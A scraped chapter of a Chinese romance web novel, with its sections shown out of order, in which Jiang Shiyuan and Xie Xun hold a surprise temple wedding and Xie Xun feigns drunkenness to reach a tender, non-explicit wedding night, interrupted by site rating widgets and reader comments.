紧接木门被推开,姜时愿只见陆观棋扶着谢循进入喜房,她也连忙先将喝得烂醉的谢循安抚到榻上,闻着他喜服上浓烈的酒气,更是一筹莫展。陆观棋很是抱歉地对姜时愿鞠了一礼,“对不住了,姜姑娘。陆某原意拦想着众人不劝主君酒的…奈何…陆某实没拦住。”说罢,随后匆匆离开。这下姜时愿悬着的心终于死了,她摇了摇谢循,嗓音如水:“阿循,你还醒着吗?”,奈何谢循不仅纹丝不动,还一点清醒都没了。姜时愿绞干了帕子轻轻替谢循擦脸,霞色漫至雪腮,"阿循你也太不争气,今夜是多么重要的日子。你平时光想着坏招来算计我,怎么就没想到防众人的酒呢。" “你可知我废了多少心思,为你准备生辰礼。” “你可知你随口一说,我记了多久…原想着今日洞房花烛,你能瞧见……” 姜时愿瓷白的面颊腾上红晕,唇瓣微启想将惊喜说出来,又叹道罢了,“反正我日后也万万不敢再穿出来的,还不如不教你知道。” 话音甫落,姜时愿刚想起身。又蓦地被一只大掌攥着,她顺着力软倒在谢循的胸膛上,抬眸正对上他的凤眸敛开,嘴角还噙着一丝不怀好意的笑容,“不知夫人想瞒着为 夫什么?" 姜时愿的心跳笃笃跳动,相信紧密相贴的谢循定能感觉到她此刻的慌乱,她言不由衷,问道:“你怎么醒着,你…你不是醉 倒了吗?” 她这才后知后觉从谢循的身上闻到醒酒丸的味道,原是谢循早有两手准备,让袁黎换酒,并以防万一事先咽下醒酒丸,在喜宴上不过是在众人眼前演了一出醉倒的戏…男子修长如玉的指腹摩挲着她唇瓣的柔软,轻轻痒痒的,如他此刻的声音一致。 "为夫都搞不懂,阿愿到底是想让我醉着,还是不想让我醒着?" 看着姜时愿俏脸羞红,谢循不由自主贴近她,踏着声音在她耳边呢喃:"夫人方才明明说…不想浪费此洞房花烛良夜,为夫 怎么敢让你失望?" “阿愿,我很想知道你为我准备的生辰礼是什么?”谢循的声音愈发沙哑,嗅近她的粉颈,气息灼热。 芙蓉帐内暗香浮动,气氛被撩拨地暧昧。 罗裳半解,露出鸦青色的抱.腹,上头绣着他期待已久的兰花,清雅秀丽。在暧昧的烛火下,在他野火燎原的眼底,有着不一样的光彩。 令谢循为之欣狂。 他认出上头的针线绣法,皆来自阿愿的手艺。这一月以来,她盯着一针一线,想着他、念着他,为他准备生辰礼。 姜时愿本就羞,更是被他直勾勾的眼神瞧地不好意思,这简直是折磨人了。 她肤若凝脂的雪肤透出薄热,攥紧了朱红被褥,颤着声:“别瞧了…” “阿愿不是说日后万不敢再穿出来,你叫我怎么舍得浪费仅此一次的机会。”谢循与她耳鬓厮磨,逼她退步,"除非阿愿答应,以后日日穿给我看。"案头上的龙凤红烛高燃,姜时愿知道此夜必然漫长,咬着谢循的肩头,“阿循…你惯会欺负我…我就知道你定会蹬鼻子上脸,早知道我…我…” 忽然,谢循吻上她的唇,气息交缠,"阿愿,我爱你。" "你…你…”突然一番的真挚情话,一下让姜时愿赌了姜时愿后半句话,她气得又羞又恼,又听着谢循问她,“阿愿呢?我也想听你说爱我。"“你……”她找的这个夫君当真是太坏了…… 她红着脸:“我爱你,阿循。” 下一章上一章回目录加入书签 看书评回收藏首页投诉色情有害投诉数据造假投诉涉未成年有害 本文当前霸王票全站排行90135,还差1颗地雷就可以前进一名。[我要投霸王票] [灌溉营养液] 昵称:undefined 评分:O2分I鲜花一捧01分|一朵小花00分|交流灌水00分|别字捉虫O-1分|一块小砖O-2分|砖头一堆 口打开/关闭本文嗑糖功能 嗑到了kswl [展开] 发一条友善的评论吧内容: 注:1.评论时输入br/即可换行分段。 2.发布负分评论消耗的月石并不会给作者。 查看评论规则>> 确认 营养液(1/1)成就达成,有一定几率掉落更新,请侠士再接再厉山[回复][投诉]叩 嗑到了 嗑到了 嗑到了 嗑到了 凸叩[回复][投诉] 码字没动力?来瓶营养液!写文没灵感?来瓶营养液!营养液——对作者大大最深沉的爱~山[回复][投诉] 正当慕朝和谢循无声的暗斗之时,陆观棋及时出来稳住局面,将他们分开,又暗中给众人使着手势。 按着来时的计划他们将谢循和姜时愿二人分开,绝不让能再二人碰面。 祁灵萱和慕朝怔怔地看着姜时愿大把大把的白糖往里洒,惊讶地目瞪口呆。 祁灵萱更是诧异地按住姜时愿的手,结巴地说不出话:“姜姐姐你还要往里倒吗?这味道会不会…”太甜了啊…,祁灵萱希望姜时愿能懂,她可不希望在席上吃上一嘴的 “是啊…这味道…对阿循来说还是太淡了。”姜时愿轻蹙着眉头,不再是洒,直接改为倒,白糖如海往鱼汤里倒。 这着实让一旁目睹现场的祁灵萱和慕朝暗自小声通信,可绝不能喝这碗鱼汤,喝了准得一命呜呼… 却说,祁灵萱也不能眼看着姜时愿一个人忙活,她也撸起袖子干劲十足想要给姜时愿打下手。谁料竟是帮倒忙,不是锅烧干了,就是盐或醋多加了。到头来还是全成了姜时愿一个人忙活,弄得她是满头大汗,脸上也沾了油光,祁灵萱一瞧这不是正好,又急忙把姜时愿推进耳房连哄带骗地让她冲了个澡。 氤氲雾气袅袅沉下,漫过屏风,长时间的浸泡让水汽沾湿她鸦羽般的长发,几缕青丝湿漉漉地贴在她的颈侧。 水温渐冷,姜时愿从浴桶中起身,肌肤莹润生光,走到木施前却见原还挂在上头的湘裙不见了,只剩一件亵衣。 她捏着淡薄的亵衣焦急地呼喊祁灵萱,却无人应答。她心中愈发着急,玉臂也愈发被寒意侵蚀,她紧着在屋内搜寻看还有什么衣物可以避暖。 月光落满窗棂似有指引般映亮妆奁上的绯红嫁衣、金丝绶带,一针一线绣出的牡丹娇艳欲滴,嫁衣之上还有凤冠。姜时愿一眼就认出了这是她十八生辰时兄长未能来得及送出的生辰礼,她一直小心翼翼收拢在檀木箱内,如今却出现在这… 窗棂外,喜乐唢呐之声从观音庙飘来,姜时愿顿时了然这些日子来谢循又瞒了她些什么。 这一刻,心中甜蜜蔓延。 铜镜倒映着一只素手摸过薄如蝉翼的朱纱,镜中之人眸若秋水,未含口脂却已像朱砂染唇,唇边还扬起笑意。 女子穿上喜服,戴上凤冠,涂上胭脂,推门而出,一步一摇,流苏玉珰之声零零碎碎。 她独自一人越过竹林,朝着越发响亮的唢呐鼓声靠近。 巨大露字垂落庙前。乡亲尽数到齐,身着新袄,敲锣打鼓,点燃鞭炮,口中满是恭贺之词。 陆观棋等人也齐齐现身,边道喜边将姜时愿推入庙里,“姜司使还愣着作甚,不去见见夫君?” 庙里铺满红毡,红绸高挂檐角,火红灯笼摇曳不止,照得观音庙满堂生彩。每个八仙桌的盘子上皆叠着高高的蜜枣、桂圆等,酒气也从盏中溢出来。 暖洋洋的喜气浮荡,灯火惶惶。 隔着无数道喜的人群,姜时愿和站在庙内的谢循遥遥相望,他一袭绛红喜服韶光流转,眉目清朗,温润生光。 他逆着人流朝着姜时愿走来,掌心温柔伸手去握住她的柔荑。姜时愿笑望着他的琥珀眸子,嗔道:"夫君竟又舍得瞒我,你就不怕我生气吗?"谢循在她耳畔轻轻哈气,气音暧昧,“等入了洞房,任阿愿打骂,绝不还口。” 锣鼓叫好之声再起,姜时愿和谢循遵着旧礼各牵一头红花缓缓步入观音庙内。鼓点密集,陆观棋代为主持婚宴,喊着新人三拜。 第一拜,是敬天地,谢循和姜时愿却不约而同拜在观音脚下。 姜时愿看着谢循,喜极而泣。 这最后一拜,他们在观音眼下、亲朋面前,皆怀着相守余生的誓言纷纷俯身,敬对方,忆过往,盼将来。 喜宴的氛围达至高潮,三拜之后,姜时愿被村中妇人以及祁灵萱推回洞房,并喊她好生等着夫君归来。 谢循则被众人围堵着,说绝不能轻易就放新郎官回去,今日定是要不醉不休。 喜宴之上的谢循早就魂飘往喜房之内,整人心猿意马,看着堆叠在他眼前的数杯酒水更是不知如何推诿,皱了皱眉头…说着的,唯独他今夜可不想醉着被抬回喜房。 幸好谢循来时早有计策,让袁黎将他手中的酒壶给换成凉水,是以蒙混过关。 慕朝长长地“噢”了一声,又跟着调侃道,“那我这杯喜酒你的主君为何不敢喝啊?怎的,这乃是喜酒,恭贺他和小姐成婚的酒他也不喝,难不成….” 仿佛世人都约定俗称,酒量深浅事关一个男人的尊严。就连谢循亦觉得自己偏偏为何会生出如此一个致命的弱点,很是不耻,羞愧难当。 谢循接过慕朝手中的酒,一饮而尽,与慕朝赌气般地证明自己,还将杯盏倒扣,代表着未剩一滴,神情好生神气,“多谢。” 陆不语在席间喝得伶仃大醉,今日见谢循能喝了,更是讶然到说不出话。忙又倒了一杯去敬谢循,“主君主君…我也祝你和姜时愿琴瑟和鸣,白首不分离…”慕朝见谢循还没醉倒,心生一计,高扬道:“噢,白首不分离好啊。谢循你不喝,就代表着不愿和小姐相伴白首。” “胡说!”袁黎第一个着了慕朝的激将法,“一定会白头偕老的。”连着一众乡亲都开始齐齐鼓掌附和,“喝喝喝喝!白头偕老!” 谢循骑虎难下,硬着头喝下第二杯。 第二杯刚饮下,慕朝又撺掇祁灵萱去为谢循祝酒,祁灵萱羞着脸,“祝你们早生贵子!” 成婚,白头偕老,现在又轮到早生贵子。层层递进的祝愿让谢循根本下不来台。 慕朝:“你怎么不喝啊?难道你不想和小姐有孩子吗?” 这次不等慕朝激将完,谢循就乖乖地、自觉地、一饮而尽,紧随其后的是在众人眼中醉倒了下去,不省人事。 慕朝瞧着谢循醉酣的模样心里满是得意,还不忘对着谢循嘲讽一句,"早看出你今夜藏着怀心事,看你今夜还如何与小姐洞房花烛!"屋内,朱红幔帐高悬,龙凤火烛。而姜时愿坐在喜堂之上,素手不安地互相揉搓,骨节隐隐泛白。 她知谢循的酒量浅,更是差到一杯就倒,忧心着不知他能不能挺过众人的轮番劝酒。又有些不甘,若是今日洞房花烛,谢循喝醉了岂不浪费良辰美景还有她准备已久的生